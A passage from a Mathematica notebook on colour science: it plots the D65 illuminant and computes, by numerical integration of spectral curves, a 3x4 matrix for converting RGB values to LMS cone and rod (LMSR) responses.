GraphicsComplexBox[CompressedData["
1:eJzt2el/VNUZB/AREghLMSBKFJWwqFEQIoqJgvBjk0EkGVkDAQkIEhGTFLTM
PnfmbiMKBFSIFTFsEpTiVBCCQE0RELXYSF3YlKBUgoBG0BpEsPd4fudF3/UP
mLzh82WSufc5z1mec07naaWjZjRxuVzpTV0u8e/vP0Ve3LVqc07jqBH43WWO
297db+fbD0prXnzc5ciFcJc86XLHiyddHjw/X7rSi8dcpdEUn0c64UXO0wOL
/t3jIekaL6oR++q9OrrWi9zGXdNfe36UdJ3z+RtNTz7rHi3d4IWV+9meJ36l
XT40b7jG7UmMkU734VPvqZvvqKczfVh9xY7UdpljpbN9mDN/4Ylz42n4gKum
vvuvRbTHhyuX37lq83t0kQ+LRj/ZbdlvdJkPk4/e39SbM47x+9BjxrVfFZTS
5T78cvZ0zT3r6Eof3v/T31657hid8OGaWSPPLzxN1/gwXXxhI13rw2+dL/3n
qZTxjN+HkVc/+8C36XSDD39O67ji4Rtolx8nL67/4cCtdLoffb7PHTrsbjrT
j9pNE37aNojO9uPGdfXunvk0/Hj8z/OWryqkPX7kzhzyWGk2XeTH1mmRQ/el
0mV+6L0efLXlYRW/H02629cc2qji9+OfP4/+eq2u4vfDiXb0kwUqfj+uqynM
HHi7it+PF7cvLb+yiYrfj0fjj0w++hnbu86PE/qK/a+9Tjf40T3jhU9aZPL3
XQG8E7ohd+bzdHoAzdq1H7A3TcUfgPO2998UUvEHcLzVc+tjP6j4A7il8unE
8RkFjD+Akru0rThMFwXQ91j+gmV5Exh/AA+/Pbx1k3dpLYBFu37KmpQzkfEH
8FxGyrg2Jl0ZgOjutQfoRAALlpW00zMLGX8Ai88GB/QpoWsDWDr4mdknt9N1
ATi6uL7FJMbP542nXUH5vLV0elA+7xydGZTPw2TGH0Q7veaDlUNp8PcfoD1B
tLn9zZe/z6eLgjBPP1R941i6LIiWn68uu28irQXl+0yhy4NoFn1h8DPT6cqg
fP/H6ERQ9pcSuiYIRx/9PJeuDaK1+IWpdF1Qtk8e3RBEB+fXR/elXSEs352Z
mJNFp4fQ64tuzaJX05khbN7nDMAmKv4Q7hH/8T3bByE4o7PXF0dpTwhDxAu/
TxeF5PjdSpeFIB7/9U5aC8GZbdI27KbLQzjjNJf5IV0Zwq/O8Bx5gE6EZHyH
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
"], {{{}, {
EdgeForm[],
Directive[
GrayLevel[0.5],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwl1eN3HwYYBeD8attObds2U7tNraS2k7arbbtbzXnlVm41xnYrhhpDvScn
H55z3z/gnvsGh4aHhMUICgoKMD0QnR8Eou9pTGUKkUQwmUlMZALjGcdYxjCa
UYxkBMMZxlCGMJhBDCScMAbQn370pQ+96UVPetCdboTSlS50phMd6UB72tGW
NrSmFS1pQXNCaEZTmtCYRjSkAfWpR13qUJta1KQG1alGVapQmUpUpALlKUdZ
ylCaUpSkBMUpRlGKUJhCFKQA+clHXvKQm1zkJAfZCSYbWclCZjKRkQykJx1p
SUNqUpGSFCQnGUlJQmISkZAExCcecYlDbGIRkxgEAtGFeS/e8ZY3vOYVL/mP
f/mHv3nBc57xlCc85hEPecB9/uJP/uB37nGXO9zmN37lFjf5hZ/5iR/5ge+5
wXWucZUrXOYSF7nAeb7jW85xljOc5hQn+YavOcFxjnGUIxzmK77kCz7nMz7l
Ez7mEAc5wH72sZc97GYXO9nBdj7iQ7axlS1sZhMb2cB61rGWNaxmFStZwXKW
sZQlLGYRC1nAfOYxlznMZhYzmRG1A1EbwDSmMoVIIpjMJCYygfGMYyxjGM0o
RjKC4QxjKEMYzCAGEk4YA+hPP/rSh970oic96E43QulKFzrTiY50oD3taEsb
WtOKlrSgOSE0oylNaEwjGtKA+tSjLnWoTS1qUoPqVKMqVahMJSpSgfKUoyxl
KE0pSlKC4hSjKEUoTCEKUoD85CMvechNLnKSg+wEk42sZCEzmchIBtKTjrSk
ITWpSEkKkpOMpCQhMYlISALiE4+4xCE2sYhJ1K/4HyeUpzc=
"]]}]}, {}, {}}, {{}, {}, {
Hue[0.67, 0.6, 0.6],
Directive[
PointSize[
NCache[
Rational[1, 90], 0.011111111111111112`]],
AbsoluteThickness[1.6],
GrayLevel[0.5]],
LineBox[CompressedData["
1:eJwl1WV7EAQUBeCNztE9YjC6u7tHj24YnSM3ursUDFBCwaAbJZXGoBulUVJB
6VR49/DhPfcXnHNDIiLD+wcGBARMFTE3FrGJQ1ziEZ8EJCQRiUlCUoJIRnJS
kJJUpCYNaUlHejKQkUwEk5ksZCUbIWQnB6HkJBe5yUNe8pGfAhSkEIUpQlGK
UZwSlKQUpSlDWcpRngpUpBKVqUJVqlGdGtSkFrWpQ13CqEd9GtCQRjSmCeE0
pRnNaUFLWtGaNrSlHe3pQEc60ZkIutCVbnSnBz3pRW/60Jd+9CeSAQxkEIMZ
wlCiiGYYwxnBSEYxmjGMZRzjmcBEJjGZKUxlGtOZwUxmMZs5fMCHzGUeH/Ex
n/Ap81nAZ3zOQhaxmCV8wZcsZRlf8TXf8C3LWcFKVrGaNaxlHevZwEY2sZkt
fMf3bGUb29nBTnbxAz+ymz3sZR/7OcBBDvETP/MLv3KYIxzlGMc5wUlOcZoz
nOUc57nAb/zORS5xmStc5RrXucEf/MlNbnGbO9zlHn/xN/d5wD/8y0Me8Zgn
POUZz3nBS17xmjf8x/+8Jab8gcQiNnGISzzik4CEJCIxSUhKEMlITgpSkorU
pCEt6UhPBjKSiWAyk4WsZCOE7OQglJzkIjd5yEs+8lOAghSiMEUoSjGKU4KS
lKI0ZShLOcpTgYpUojJVqEo1qlODmtSiNnWoSxj1qE8DGtKIxjQhnKY0ozkt
aEkrWtOGtrSjPR3oSCc6E0EXutKN7vSgJ73oTR/60o+Y8Y5kAAMZxGCGMJQo
ohnGcEYwklGMZgxjGcd4JjCRSUxmSuD73/AOmGemIA==
"]]}}, {{
Directive[
PointSize[
NCache[
Rational[1, 90], 0.011111111111111112`]],
AbsoluteThickness[1.6],
GrayLevel[0.5]]}}, {{
Directive[
PointSize[
NCache[
Rational[1, 90], 0.011111111111111112`]],
AbsoluteThickness[1.6],
GrayLevel[0.5]]}, {}}, {{
Directive[
PointSize[
NCache[
Rational[1, 90], 0.011111111111111112`]],
AbsoluteThickness[1.6],
GrayLevel[0.5]]}, {}}}], {{}, {}}}, {
DisplayFunction -> Identity, DisplayFunction -> Identity, AspectRatio ->
NCache[GoldenRatio^(-1), 0.6180339887498948], Axes -> {True, True},
AxesLabel -> {None, None}, AxesOrigin -> {381.875, 0}, DisplayFunction :>
Identity, Frame -> {{False, False}, {False, False}},
FrameLabel -> {{None, None}, {None, None}},
FrameTicks -> {{Automatic, Automatic}, {Automatic, Automatic}},
GridLines -> {None, None}, GridLinesStyle -> Directive[
GrayLevel[0.5, 0.4]],
Method -> {
"OptimizePlotMarkers" -> True,
"CoordinatesToolOptions" -> {"DisplayFunction" -> ({
(Identity[#]& )[
Part[#, 1]],
(Identity[#]& )[
Part[#, 2]]}& ), "CopiedValueFunction" -> ({
(Identity[#]& )[
Part[#, 1]],
(Identity[#]& )[
Part[#, 2]]}& )}}, PlotRange -> {{381.875, 780.}, {0, 117.812}},
PlotRangeClipping -> True, PlotRangePadding -> {{
Scaled[0.02],
Scaled[0.02]}, {
Scaled[0.02],
Scaled[0.05]}}, Ticks -> {Automatic, Automatic}}],FormBox[
FormBox[
TemplateBox[{"\"D65\""}, "LineLegend", DisplayFunction -> (FormBox[
StyleBox[
StyleBox[
PaneBox[
TagBox[
GridBox[{{
TagBox[
GridBox[{{
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
GrayLevel[0.5]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
GrayLevel[0.5]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #}},
GridBoxAlignment -> {
"Columns" -> {Center, Left}, "Rows" -> {{Baseline}}},
AutoDelete -> False,
GridBoxDividers -> {
"Columns" -> {{False}}, "Rows" -> {{False}}},
GridBoxItemSize -> {"Columns" -> {{All}}, "Rows" -> {{All}}},
GridBoxSpacings -> {
"Columns" -> {{0.5}}, "Rows" -> {{0.8}}}], "Grid"]}},
GridBoxAlignment -> {"Columns" -> {{Left}}, "Rows" -> {{Top}}},
AutoDelete -> False,
GridBoxItemSize -> {
"Columns" -> {{Automatic}}, "Rows" -> {{Automatic}}},
GridBoxSpacings -> {"Columns" -> {{1}}, "Rows" -> {{0}}}],
"Grid"], Alignment -> Left, AppearanceElements -> None,
ImageMargins -> {{5, 5}, {5, 5}}, ImageSizeAction ->
"ResizeToFit"], LineIndent -> 0, StripOnInput -> False], {
FontFamily -> "Arial"}, Background -> Automatic, StripOnInput ->
False], TraditionalForm]& ),
InterpretationFunction :> (RowBox[{"LineLegend", "[",
RowBox[{
RowBox[{"{",
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[",
FractionBox["1", "90"], "]"}], ",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
GrayLevel[0.5],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> GrayLevel[0.33333333333333337`], FrameTicks ->
None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"GrayLevel", "[", "0.5`", "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
GrayLevel[0.5];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["GrayLevelColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
GrayLevel[0.5], Editable -> False, Selectable -> False]}],
"]"}], "}"}], ",",
RowBox[{"{", #, "}"}], ",",
RowBox[{"LegendMarkers", "\[Rule]",
RowBox[{"{",
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}], "}"}]}], ",",
RowBox[{"Joined", "\[Rule]",
RowBox[{"{", "True", "}"}]}], ",",
RowBox[{"LabelStyle", "\[Rule]",
RowBox[{"{", "}"}]}], ",",
RowBox[{"LegendLayout", "\[Rule]", "\"Column\""}]}], "]"}]& ),
Editable -> True], TraditionalForm], TraditionalForm]},
"Legended",
DisplayFunction->(GridBox[{{
TagBox[
ItemBox[
PaneBox[
TagBox[#, "SkipImageSizeLevel"], Alignment -> {Center, Baseline},
BaselinePosition -> Baseline], DefaultBaseStyle -> "Labeled"],
"SkipImageSizeLevel"],
ItemBox[#2, DefaultBaseStyle -> "LabeledLabel"]}},
GridBoxAlignment -> {"Columns" -> {{Center}}, "Rows" -> {{Center}}},
AutoDelete -> False, GridBoxItemSize -> Automatic,
BaselinePosition -> {1, 1}]& ),
Editable->True,
InterpretationFunction->(RowBox[{"Legended", "[",
RowBox[{#, ",",
RowBox[{"Placed", "[",
RowBox[{#2, ",", "After"}], "]"}]}], "]"}]& )]], "Output",
CellChangeTimes->{
3.839443645026805*^9, 3.839443681644368*^9, {3.8394437491985807`*^9,
3.839443767420643*^9}, 3.839443874769805*^9, 3.839444093185585*^9,
3.839444219488147*^9, 3.8394466109039803`*^9, {3.839446672130972*^9,
3.839446691483054*^9}, 3.83944696209975*^9, 3.839447126705925*^9,
3.839447465101836*^9, 3.8394512292800217`*^9, 3.839451625203464*^9,
3.83945209533884*^9, 3.839452295811335*^9, 3.8394534803756113`*^9, {
3.839497975850823*^9, 3.839497988940425*^9}},
CellLabel->"Out[30]=",ExpressionUUID->"393f68b1-2e07-49bd-af70-5506be4e3501"]
}, Open ]]
}, Open ]],
Cell[CellGroupData[{
Cell[TextData[StyleBox["RGB to LMSR", "Section"]], "Subtitle",
CellChangeTimes->{{3.6472069892556753`*^9, 3.647206992644547*^9}, {
3.64720706386841*^9, 3.64720723066249*^9}, {3.647207262730607*^9,
3.647207325235694*^9}, {3.661121273814883*^9, 3.6611212811271257`*^9}, {
3.6611836316553793`*^9, 3.661183634470564*^9}, {3.6815771809416018`*^9,
3.681577182173439*^9}, {3.839450617122533*^9, 3.839450633617247*^9}, {
3.8394508014046373`*^9,
3.839450882289154*^9}},ExpressionUUID->"045f9ba7-7042-4131-aa82-\
83a0ff7d7fa9"],
Cell[BoxData[
RowBox[{
RowBox[{"cieIlluminant", "=",
RowBox[{"NIntegrate", "[",
RowBox[{
RowBox[{
RowBox[{
RowBox[{"Interpolation", "[", "d65", "]"}], "[", "\[Lambda]", "]"}],
"*",
RowBox[{
RowBox[{"Interpolation", "[", "m", "]"}], "[", "\[Lambda]", "]"}]}],
",",
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "1", ",", "391"}], "}"}]}], "]"}]}],
";"}]], "Input",
CellChangeTimes->{{3.839443927098667*^9, 3.839444002821363*^9}, {
3.839444060998866*^9, 3.839444082947908*^9}, {3.839444114738352*^9,
3.839444119883182*^9}, 3.83944415579716*^9, {3.839444195193529*^9,
3.839444214199149*^9}, {3.839444414430881*^9, 3.839444436520441*^9}, {
3.8394445220233507`*^9, 3.8394445850173492`*^9}, 3.83944462647252*^9, {
3.839444836233657*^9, 3.839444836546022*^9}, 3.8394448830680323`*^9, {
3.839444973925454*^9, 3.839444980776664*^9}, {3.839445016677794*^9,
3.839445027673003*^9}, {3.8394451559190903`*^9, 3.839445160002503*^9}, {
3.839445834552326*^9, 3.8394458503432426`*^9}, 3.8394466842574263`*^9, {
3.839447210999893*^9, 3.839447211542082*^9}, 3.8394979716155148`*^9},
CellLabel->"In[31]:=",ExpressionUUID->"851efab9-f01a-475a-8d95-77e69d6f9c0a"],
Cell[BoxData[{
RowBox[{
RowBox[{"d65ReflectanceF", "=",
RowBox[{"Interpolation", "[",
RowBox[{"d65", "/", "cieIlluminant"}], "]"}]}],
";"}], "\[IndentingNewLine]",
RowBox[{
RowBox[{"rgbReflectanceF", "=",
RowBox[{"Interpolation", "/@",
RowBox[{"{",
RowBox[{"cr", ",", "cb", ",", "cg"}], "}"}]}]}],
";"}], "\[IndentingNewLine]",
RowBox[{
RowBox[{"lmsrResponseF", "=",
RowBox[{"Interpolation", "/@",
RowBox[{"{",
RowBox[{"l", ",", "m", ",", "s", ",", "r"}], "}"}]}]}], ";"}]}], "Input",\
CellChangeTimes->{{3.8394452155069*^9, 3.839445221399282*^9}, {
3.839445857679*^9, 3.839445861815016*^9}, {3.839446817084374*^9,
3.839446820608334*^9}, {3.8394469762013397`*^9, 3.8394469782241383`*^9}, {
3.839451886462318*^9, 3.839451982964561*^9}, 3.839452075151917*^9},
CellLabel->"In[32]:=",ExpressionUUID->"0d1f1189-fad9-400c-9e17-e5482a4c2322"],
Cell[BoxData[
RowBox[{
RowBox[{
RowBox[{"rgbToLms", "[",
RowBox[{"channel_", ",", "receptor_"}], "]"}], ":=",
RowBox[{"NIntegrate", "[",
RowBox[{
RowBox[{
RowBox[{"d65ReflectanceF", "[", "\[Lambda]", "]"}], "*",
RowBox[{
RowBox[{"rgbReflectanceF", "[",
RowBox[{"[", "channel", "]"}], "]"}], "[", "\[Lambda]", "]"}], "*",
RowBox[{
RowBox[{"lmsrResponseF", "[",
RowBox[{"[", "receptor", "]"}], "]"}], "[", "\[Lambda]", "]"}]}], ",",
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "1", ",", "391"}], "}"}]}], "]"}]}],
";"}]], "Input",
CellChangeTimes->{
3.839445276470922*^9, {3.8394453466377773`*^9, 3.839445364308186*^9}, {
3.839445397450433*^9, 3.839445404627583*^9}, {3.8394458934005127`*^9,
3.839446007413809*^9}, 3.839446687312834*^9, {3.8394468086227217`*^9,
3.8394468144327087`*^9}, {3.839447139531687*^9, 3.839447151863946*^9}, {
3.839451931540249*^9, 3.8394519338784924`*^9}, {3.839451970208984*^9,
3.839451989895026*^9}, 3.839497985782436*^9},
CellLabel->"In[35]:=",ExpressionUUID->"855fad7a-8f45-4354-bb75-e67a2b286c92"],
Cell[CellGroupData[{
Cell["4x3 matrix for RGB to LMSR conversion", "Subsection",
CellChangeTimes->{{3.8394508984350758`*^9,
3.8394509087784*^9}},ExpressionUUID->"73c06730-74b6-43b8-bbae-03fce2232fe5"],
Cell[CellGroupData[{
Cell[BoxData[
RowBox[{"rgbToLmsr", "=",
RowBox[{"Outer", "[",
RowBox[{"rgbToLms", ",",
RowBox[{"{",
RowBox[{"1", ",", "2", ",", "3"}], "}"}], ",",
RowBox[{"{",
RowBox[{"1", ",", "2", ",", "3", ",", "4"}], "}"}]}], "]"}]}]], "Input",
CellChangeTimes->{{3.839446009786174*^9, 3.839446156135174*^9}, {
3.8394464782467937`*^9, 3.83944647971105*^9}, 3.839447154085835*^9, {
3.839451195223851*^9, 3.839451222471589*^9}, 3.8394518527624207`*^9, {
3.839452353636548*^9, 3.8394523558419533`*^9}, 3.8394523958393383`*^9,
3.839452427146964*^9, {3.839453484337986*^9, 3.839453493801558*^9}},
CellLabel->"In[36]:=",ExpressionUUID->"d91a83c4-98b2-4295-b035-41873973424f"],
Cell[BoxData[
RowBox[{"{",
RowBox[{
RowBox[{"{",
RowBox[{
"0.3106517970628422`", ",", "0.09635243354198236`", ",",
"0.012165361564991787`", ",", "0.018801282490768876`"}], "}"}], ",",
RowBox[{"{",
RowBox[{
"0.7688987047080651`", ",", "0.775177393367731`", ",",
"0.05511661596968732`", ",", "0.6357763926672475`"}], "}"}], ",",
RowBox[{"{",
RowBox[{
"0.08813646937161947`", ",", "0.12847017480263423`", ",",
"0.5740456160916152`", ",", "0.4261568888886938`"}], "}"}]}],
"}"}]], "Output",
CellChangeTimes->{
3.839453498597534*^9, {3.839497981200589*^9, 3.839497994251679*^9}},
CellLabel->"Out[36]=",ExpressionUUID->"1901ebd8-db08-4e71-adc6-519ae5e56aa5"]
}, Open ]],
Cell[CellGroupData[{
Cell[BoxData[
RowBox[{"rgbToLmsr", "//", "MatrixForm"}]], "Input",
CellChangeTimes->{{3.8394523680970163`*^9, 3.839452423419404*^9}, {
3.8394525101389523`*^9, 3.83945251038573*^9}},
CellLabel->"In[37]:=",ExpressionUUID->"a93ff78a-f224-4017-b55d-7b4cd854ced0"],
Cell[BoxData[
TagBox[
RowBox[{"(", "\[NoBreak]", GridBox[{
{"0.3106517970628422`", "0.09635243354198236`", "0.012165361564991787`",
"0.018801282490768876`"},
{"0.7688987047080651`", "0.775177393367731`", "0.05511661596968732`",
"0.6357763926672475`"},
{"0.08813646937161947`", "0.12847017480263423`", "0.5740456160916152`",
"0.4261568888886938`"}
},
GridBoxAlignment->{"Columns" -> {{Center}}, "Rows" -> {{Baseline}}},
GridBoxSpacings->{"Columns" -> {
Offset[0.27999999999999997`], {
Offset[0.7]},
Offset[0.27999999999999997`]}, "Rows" -> {
Offset[0.2], {
Offset[0.4]},
Offset[0.2]}}], "\[NoBreak]", ")"}],
Function[BoxForm`e$,
MatrixForm[BoxForm`e$]]]], "Output",
CellChangeTimes->{
3.8394525382750177`*^9, 3.839453485318103*^9, {3.839497981332705*^9,
3.8394979943754673`*^9}},
CellLabel->
"Out[37]//MatrixForm=",ExpressionUUID->"26d09ff2-cf12-4fb3-9ebe-\
32b6c8a7eaa6"]
}, Open ]],
Cell[CellGroupData[{
Cell[BoxData[
RowBox[{
RowBox[{"rgbToLmsr", "\[Transpose]"}], "//", "MatrixForm"}]], "Input",
CellChangeTimes->{{3.8394525148737993`*^9, 3.839452535096004*^9}},
CellLabel->"In[38]:=",ExpressionUUID->"f2371d94-8139-464b-8536-6ff469961cf5"],
Cell[BoxData[
TagBox[
RowBox[{"(", "\[NoBreak]", GridBox[{
{"0.3106517970628422`", "0.7688987047080651`", "0.08813646937161947`"},
{"0.09635243354198236`", "0.775177393367731`", "0.12847017480263423`"},
{"0.012165361564991787`", "0.05511661596968732`",
"0.5740456160916152`"},
{"0.018801282490768876`", "0.6357763926672475`", "0.4261568888886938`"}
},
GridBoxAlignment->{"Columns" -> {{Center}}, "Rows" -> {{Baseline}}},
GridBoxSpacings->{"Columns" -> {
Offset[0.27999999999999997`], {
Offset[0.7]},
Offset[0.27999999999999997`]}, "Rows" -> {
Offset[0.2], {
Offset[0.4]},
Offset[0.2]}}], "\[NoBreak]", ")"}],
Function[BoxForm`e$,
MatrixForm[BoxForm`e$]]]], "Output",
CellChangeTimes->{{3.839452516230184*^9, 3.839452539739893*^9},
3.839453485324418*^9, {3.8394979813410807`*^9, 3.83949799438424*^9}},
CellLabel->
"Out[38]//MatrixForm=",ExpressionUUID->"08aa424d-300e-48e2-819e-\
26ecca9d5c7a"]
}, Open ]]
}, Open ]]
}, Open ]]
},
WindowSize->{1194, 1639},
WindowMargins->{{762, Automatic}, {Automatic, 0}},
FrontEndVersion->"12.0 for Mac OS X x86 (64-bit) (April 8, 2019)",
StyleDefinitions->"Default.nb"
]
(* End of Notebook Content *)
(* Internal cache information *)
(*CellTagsOutline
CellTagsIndex->{}
*)
(*CellTagsIndex
CellTagsIndex->{}
*)
(*NotebookFileOutline
Notebook[{
Cell[CellGroupData[{
Cell[580, 22, 683, 12, 126, "Subtitle",ExpressionUUID->"5ae343b7-a2aa-48f4-98df-4a91ccee9af1"],
Cell[1266, 36, 344, 6, 52, "Input",ExpressionUUID->"2dea625f-819d-4afb-9db6-1f9e0163fe66"]
}, Open ]],
Cell[CellGroupData[{
Cell[1647, 47, 545, 8, 58, "Subtitle",ExpressionUUID->"5869e3ef-0bb9-4e92-a9a4-c3889973a035"],
Cell[CellGroupData[{
Cell[2217, 59, 1715, 38, 52, "Input",ExpressionUUID->"1c12d9cd-5350-47cb-b7fb-6f53ab47e334"],
Cell[3935, 99, 37248, 711, 250, "Output",ExpressionUUID->"14896312-56d5-4de1-b31c-320b384d6e62"]
}, Open ]]
}, Open ]],
Cell[CellGroupData[{
Cell[41232, 816, 842, 16, 81, "Subtitle",ExpressionUUID->"7406aa00-ad51-4be8-9076-280c11689b0c"],
Cell[CellGroupData[{
Cell[42099, 836, 1634, 44, 94, "Input",ExpressionUUID->"4b91fc06-decf-4901-8565-882e55398b52"],
Cell[43736, 882, 48483, 924, 248, "Output",ExpressionUUID->"e5b17ad2-61b0-4175-ac0d-3aa25e5f8022"]
}, Open ]]
}, Open ]],
Cell[CellGroupData[{
